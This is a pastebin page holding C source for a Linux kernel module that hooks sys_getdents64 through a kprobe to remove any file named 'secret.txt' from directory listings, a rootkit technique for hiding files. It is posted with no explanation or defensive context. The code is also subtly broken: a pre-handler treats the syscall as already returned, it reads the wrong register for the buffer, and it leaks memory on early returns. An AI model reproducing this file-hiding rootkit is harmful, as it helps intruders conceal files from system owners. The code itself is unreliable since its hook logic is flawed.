pb.stoleyour.com

Untitled

By Ungracious Rhinoceros, 6 Months ago, written in Plain Text, viewed 72 times.
URL http://pb.stoleyour.com/view/47323d1f Embed
Download Paste or View Raw — Expand paste to full width of browser
  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/kprobes.h>
  4. #include <linux/slab.h>
  5. #include <linux/dirent.h>
  6. #include <linux/uaccess.h>
  7.  
  8. #define FILE1 "secret.txt"
  9.  
  10. MODULE_LICENSE("GPL");
  11. static void getdents_post_handler(struct kprobe *p, struct pt_regs *regs, unsigned long flags) {
  12.     long nread;
  13.     struct linux_dirent64 __user *dirent;
  14.     char *kbuf;
  15.     long bpos;
  16.     long new_nread;
  17.     struct linux_dirent64 *d;
  18.     nread = regs->ax;
  19.     dirent = (struct linux_dirent64 __user *)regs->bx;
  20.     printk(KERN_INFO "nread = %ld", nread);
  21.     kbuf = kmalloc(nread, GFP_KERNEL);
  22.     if (!kbuf) return;
  23.     if (copy_from_user(kbuf, dirent, nread)) {
  24.         return;
  25.     }
  26.     bpos = 0;
  27.     new_nread = nread;
  28.     while (bpos < new_nread) {
  29.         d = (struct linux_dirent64 *)(kbuf + bpos);
  30.        
  31.         if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) {
  32.             printk(KERN_INFO "vedsod");
  33.             memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen));
  34.             new_nread -= d->d_reclen;
  35.             continue;
  36.         } else {
  37.             bpos += d->d_reclen;
  38.         }
  39.     }
  40.  
  41.     if (copy_to_user(dirent, kbuf, new_nread)) {
  42.          return;
  43.     }
  44.    
  45.     regs->ax = new_nread;
  46.     kfree(kbuf);
  47. }
  48.  
  49. static struct kprobe kp = {
  50.     .symbol_name = "sys_getdents64",
  51.     .pre_handler = getdents_post_handler,
  52. };
  53.  
  54. static int __init init(void) {
  55.     register_kprobe(&kp);
  56.     return 0;
  57. }
  58.  
  59. static void __exit exit(void) {
  60.     unregister_kprobe(&kp);
  61. }
  62.  
  63. module_init(init);
  64. module_exit(exit);

Reply to "Untitled"

Here you can reply to the paste above

Powered By Stikked